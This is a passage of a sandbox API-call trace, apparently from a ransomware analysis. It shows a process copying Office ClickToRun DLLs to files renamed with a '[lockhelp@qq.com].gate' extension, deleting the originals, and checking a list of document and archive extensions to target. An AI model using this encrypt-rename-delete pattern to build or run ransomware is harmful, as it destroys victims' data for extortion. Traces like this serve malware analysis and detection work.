shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.239] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.239] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.239] GetLastError () returned 0x0 [0319.239] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0319.241] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0319.242] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.242] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x110, lpOverlapped=0x0) returned 1 [0319.242] SetEndOfFile (hFile=0x360) returned 1 [0319.242] CloseHandle (hObject=0x360) returned 1 [0319.242] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.242] SetEndOfFile (hFile=0x348) returned 1 [0319.243] CloseHandle (hObject=0x348) returned 1 [0319.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.244] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0319.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.244] lstrlenW (lpString=".doc") returned 4 [0319.244] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.244] lstrlenW (lpString=".docx") returned 5 [0319.244] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.244] lstrlenW (lpString=".pdf") returned 4 [0319.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.244] lstrlenW (lpString=".xls") returned 4 [0319.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.244] lstrlenW (lpString=".xlsx") returned 5 [0319.244] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.244] lstrlenW (lpString=".ppt") returned 4 [0319.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.244] lstrlenW (lpString=".zip") returned 4 [0319.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.244] lstrlenW (lpString=".rar") returned 4 [0319.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.244] lstrlenW (lpString=".bz2") returned 4 [0319.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.244] lstrlenW (lpString=".7z") returned 3 [0319.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.245] lstrlenW (lpString=".dbf") returned 4 [0319.245] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.245] lstrlenW (lpString=".1cd") returned 4 [0319.245] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.245] lstrlenW (lpString=".jpg") returned 4 [0319.245] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.245] lstrlenW (lpString=".doc") returned 4 [0319.245] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.245] lstrlenW (lpString=".docx") returned 5 [0319.245] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.245] lstrlenW (lpString=".pdf") returned 4 [0319.245] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.245] lstrlenW (lpString=".xls") returned 4 [0319.245] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.245] lstrlenW (lpString=".xlsx") returned 5 [0319.245] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.245] lstrlenW (lpString=".ppt") returned 4 [0319.245] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.245] lstrlenW (lpString=".zip") returned 4 [0319.245] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.245] lstrlenW (lpString=".rar") returned 4 [0319.245] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.245] lstrlenW (lpString=".bz2") returned 4 [0319.245] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.245] lstrlenW (lpString=".7z") returned 3 [0319.245] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.245] lstrlenW (lpString=".dbf") returned 4 [0319.246] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.246] lstrlenW (lpString=".1cd") returned 4 [0319.246] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0319.246] lstrlenW (lpString=".jpg") returned 4 [0319.246] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.246] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.246] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0319.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.246] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=26816) returned 1 [0319.246] CloseHandle (hObject=0x348) returned 1 [0319.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0319.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.247] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.247] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.247] GetLastError () returned 0x0 [0319.247] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x68c0, lpOverlapped=0x0) returned 1 [0319.367] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x68d0, lpOverlapped=0x0) returned 1 [0319.416] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.417] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x11a, lpOverlapped=0x0) returned 1 [0319.417] SetEndOfFile (hFile=0x360) returned 1 [0319.417] CloseHandle (hObject=0x360) returned 1 [0319.418] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.418] SetEndOfFile (hFile=0x348) returned 1 [0319.419] CloseHandle (hObject=0x348) returned 1 [0319.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.419] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0319.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.419] lstrlenW (lpString=".doc") returned 4 [0319.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.419] lstrlenW (lpString=".docx") returned 5 [0319.419] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.419] lstrlenW (lpString=".pdf") returned 4 [0319.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.419] lstrlenW (lpString=".xls") returned 4 [0319.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.420] lstrlenW (lpString=".xlsx") returned 5 [0319.420] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.420] lstrlenW (lpString=".ppt") returned 4 [0319.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.420] lstrlenW (lpString=".zip") returned 4 [0319.420] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.420] lstrlenW (lpString=".rar") returned 4 [0319.420] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.420] lstrlenW (lpString=".bz2") returned 4 [0319.420] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.420] lstrlenW (lpString=".7z") returned 3 [0319.420] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.420] lstrlenW (lpString=".dbf") returned 4 [0319.420] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.420] lstrlenW (lpString=".1cd") returned 4 [0319.420] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.420] lstrlenW (lpString=".jpg") returned 4 [0319.420] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.420] lstrlenW (lpString=".doc") returned 4 [0319.420] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.420] lstrlenW (lpString=".docx") returned 5 [0319.420] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.420] lstrlenW (lpString=".pdf") returned 4 [0319.420] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.420] lstrlenW (lpString=".xls") returned 4 [0319.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.421] lstrlenW (lpString=".xlsx") returned 5 [0319.421] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.421] lstrlenW (lpString=".ppt") returned 4 [0319.421] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.421] lstrlenW (lpString=".zip") returned 4 [0319.421] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.421] lstrlenW (lpString=".rar") returned 4 [0319.421] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.421] lstrlenW (lpString=".bz2") returned 4 [0319.421] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.421] lstrlenW (lpString=".7z") returned 3 [0319.421] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.421] lstrlenW (lpString=".dbf") returned 4 [0319.421] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.421] lstrlenW (lpString=".1cd") returned 4 [0319.421] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0319.421] lstrlenW (lpString=".jpg") returned 4 [0319.421] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.421] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.421] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0319.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.422] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=70848) returned 1 [0319.422] CloseHandle (hObject=0x348) returned 1 [0319.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0319.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.422] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.422] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.423] GetLastError () returned 0x0 [0319.423] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x114c0, lpOverlapped=0x0) returned 1 [0319.497] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x114d0, lpOverlapped=0x0) returned 1 [0319.499] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.499] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x116, lpOverlapped=0x0) returned 1 [0319.499] SetEndOfFile (hFile=0x360) returned 1 [0319.499] CloseHandle (hObject=0x360) returned 1 [0319.499] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.499] SetEndOfFile (hFile=0x348) returned 1 [0319.500] CloseHandle (hObject=0x348) returned 1 [0319.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.501] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0319.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.501] lstrlenW (lpString=".doc") returned 4 [0319.501] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.501] lstrlenW (lpString=".docx") returned 5 [0319.501] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.501] lstrlenW (lpString=".pdf") returned 4 [0319.501] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.501] lstrlenW (lpString=".xls") returned 4 [0319.501] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.501] lstrlenW (lpString=".xlsx") returned 5 [0319.501] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.501] lstrlenW (lpString=".ppt") returned 4 [0319.501] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.501] lstrlenW (lpString=".zip") returned 4 [0319.501] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.502] lstrlenW (lpString=".rar") returned 4 [0319.502] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.502] lstrlenW (lpString=".bz2") returned 4 [0319.502] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.502] lstrlenW (lpString=".7z") returned 3 [0319.502] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.502] lstrlenW (lpString=".dbf") returned 4 [0319.502] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.502] lstrlenW (lpString=".1cd") returned 4 [0319.502] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.502] lstrlenW (lpString=".jpg") returned 4 [0319.502] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.502] lstrlenW (lpString=".doc") returned 4 [0319.502] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.502] lstrlenW (lpString=".docx") returned 5 [0319.502] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.502] lstrlenW (lpString=".pdf") returned 4 [0319.503] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.503] lstrlenW (lpString=".xls") returned 4 [0319.503] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.503] lstrlenW (lpString=".xlsx") returned 5 [0319.504] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.504] lstrlenW (lpString=".ppt") returned 4 [0319.504] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.504] lstrlenW (lpString=".zip") returned 4 [0319.504] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.504] lstrlenW (lpString=".rar") returned 4 [0319.504] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.504] lstrlenW (lpString=".bz2") returned 4 [0319.504] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.504] lstrlenW (lpString=".7z") returned 3 [0319.504] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.504] lstrlenW (lpString=".dbf") returned 4 [0319.504] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.504] lstrlenW (lpString=".1cd") returned 4 [0319.504] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0319.504] lstrlenW (lpString=".jpg") returned 4 [0319.504] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.505] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.505] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0319.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.505] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=23232) returned 1 [0319.505] CloseHandle (hObject=0x348) returned 